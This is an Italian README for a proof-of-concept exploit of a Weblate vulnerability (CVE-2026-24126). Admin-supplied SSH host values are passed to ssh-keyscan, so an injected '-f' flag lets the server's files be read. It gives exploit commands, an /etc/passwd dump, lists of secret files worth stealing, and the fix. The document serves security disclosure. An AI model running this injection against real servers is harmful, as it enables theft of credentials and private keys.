
Proof-of-concept exploit per CVE-2026-24126, una lettura arbitraria di file in Weblate tramite l'iniezione dell'argomento host SSH, che consente agli amministratori autenticati di leggere i file del server.
Scoperto da: Alejandro Baño · Gennaio 2026 Riconosciuto da: Note di rilascio Weblate 5.16
L'endpoint di gestione delle chiavi host SSH di Weblate passa il parametro host fornito da un amministratore autenticato direttamente a ssh-keyscan senza alcuna sanificazione o validazione degli argomenti. Poiché ssh-keyscan accetta un flag -f <file> per leggere i nomi host di destinazione da un file, un attaccante con credenziali di amministratore può iniettare quel flag come valore host e forzare il server ad aprire un file locale arbitrario. L'output di errore risultante (o stdout) viene riflesso fedelmente al browser all'interno di un blocco di messaggi di errore, divulgando il contenuto del file.
| Campo | Valore |
|---|---|
| Target | Weblate (istanze self-hosted) |
| Componente | Gestione chiavi SSH — weblate/ssh/views.py · add_host_key() |
| Autenticazione richiesta | Sì — account amministratore Weblate |
| Versioni interessate | Tutte le versioni ≤ 5.15.2 (testate in 5.0.2 e 5.15.2) |
| Impatto | Lettura arbitraria di file locali come utente del processo web-server (weblate, www-data, ecc.) |
| CVSS v3 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L |
| CVE | CVE-2026-24126 |
# weblate/ssh/views.py — semplificato
def add_host_key(request, host, port=""):
cmdline = ["ssh-keyscan"]
if port:
cmdline.extend(["-p", str(port)])
cmdline.append(host) # ← host viene aggiunto senza validazione
result = subprocess.run(cmdline, ...)
Il valore host proviene direttamente dal campo host del corpo POST senza allowlist, senza rimozione dei trattini iniziali e senza terminatore di argomenti -- prima del valore fornito dall'utente. Questo consente a un attaccante di iniettare qualsiasi flag di ssh-keyscan.
ssh-keyscan -f /etc/passwd legge /etc/passwd come elenco di nomi host, non riesce a risolvere ogni riga e produce output di errore per ciascuna. Tale output di errore si propaga attraverso il gestore CalledProcessError e viene visualizzato all'interno di un blocco alert-danger nella risposta HTTP.
python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd
| Flag | Descrizione |
|---|---|
-r / --rhost | URL di base dell'istanza Weblate |
-u / --username | Nome utente amministratore |
-p / --password | Password amministratore |
-f / --file | Percorso del file da leggere sul server |
python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd
[+] Login riuscito per l'utente: admin
[*] Invio del payload a http://localhost/manage/ssh/, potrebbe richiedere del tempo, si prega di attendere...
[+] Contenuto del file estratto:
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] Exploit terminato
Qualsiasi file leggibile dall'utente del sistema operativo che esegue Weblate (tipicamente l'utente weblate) può essere esfiltrato tramite una singola richiesta POST autenticata. I target sensibili includono:
settings.py, .env, local_settings.py/var/lib/weblate/.ssh/id_rsaAggiornare a Weblate 5.16.0 o successivo. Questa è la correzione ufficiale rilasciata dal team di Weblate il 18 febbraio 2026, che ha introdotto una corretta validazione dell'input sul campo host SSH.
Questo repository è destinato esclusivamente a ricerca sulla sicurezza educativa e autorizzata. Non utilizzare questo strumento contro sistemi di cui non si possiede la proprietà o per i quali non si dispone di esplicita autorizzazione scritta per il test. L'autore non si assume alcuna responsabilità per un uso improprio.